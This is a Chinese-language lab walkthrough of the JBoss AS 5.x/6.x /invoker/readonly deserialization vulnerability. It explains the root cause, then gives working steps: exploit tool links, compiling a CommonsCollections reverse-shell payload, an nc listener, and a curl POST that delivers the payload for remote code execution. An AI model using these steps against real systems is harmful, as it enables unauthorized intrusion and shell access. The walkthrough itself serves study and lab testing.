一、漏洞原理简介

  • 漏洞描述:

  • 存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。

  • 该过滤器在没有进行任何安全检查的情况下,尝试将来自客户端的数据流进行反序列化,从而导致了漏洞的产生。

  • 漏洞存在版本:

  • JBoss AS 5.x

  • JBoss AS 6.x

  • 漏洞原理分析:

  • 在Red Hat Enterprise Application Platform 5.2附带的Jboss Application Server中,Http invoker组件的ReadOnlyAccessFilterdoFilter方法不限制对其执行反序列化的类

  • 就可以使用代码来尝试对来自客户端的数据流(request.getInputStream())进行反序列化操作。

  • 在这个过程中,因为没有进行任何安全检查,所以可以构造恶意的序列化数据,并在数据中包含任意代码。

  • 当JBoss服务器尝试对恶意数据进行反序列化时,就会执行这些代码,从而实现远程代码执行。

二、漏洞复现

  • 靶机:WinServer2012反序列化(中间件用)

  • 在靶机的C:\jboss-6.1.0.Final\bin路径下,点击run.bat启动JBoss服务,然后在物理机浏览器访问靶机IP的8080端口

  • 按下F12,刷新页面,可以看到JBoss版本为AS-6,所以猜测存在反序列化命令执行漏洞

  • 由于这个漏洞存在于/invoker/readonly里面,所以我们尝试访问以下这个路径,但是发现报错

  • 此时可以尝试使用工具进行验证,将URL填入工具的目标选项栏中,然后点击获取信息

  • 工具下载地址:

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

  • 检测存在后,就可以进行命令执行,上传webshell等操作

  • 还可以用JavaDeserH2HC工具进行反弹shell的方式进行检测

  • 工具下载地址(下载到kali里):

https://github.com/joaomatosf/JavaDeserH2HC
  • 条件:kali上安装了jdk8环境

  • 查询命令:javac -version &&java -version

  • 进入工具的文件夹,打开终端,输入以下命令,创建class文件:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java  
  • 监听kali的9999端口

nc -lvnp 9999

  • 创建反序列化文件

  • 192.168.1.10为kali的IP地址

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.10:9999

此时将生成的反序列化文件以POST方式,上传到靶机的/invoker/readonly路径,此时即可反弹shell成功

curl http://192.168.1.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。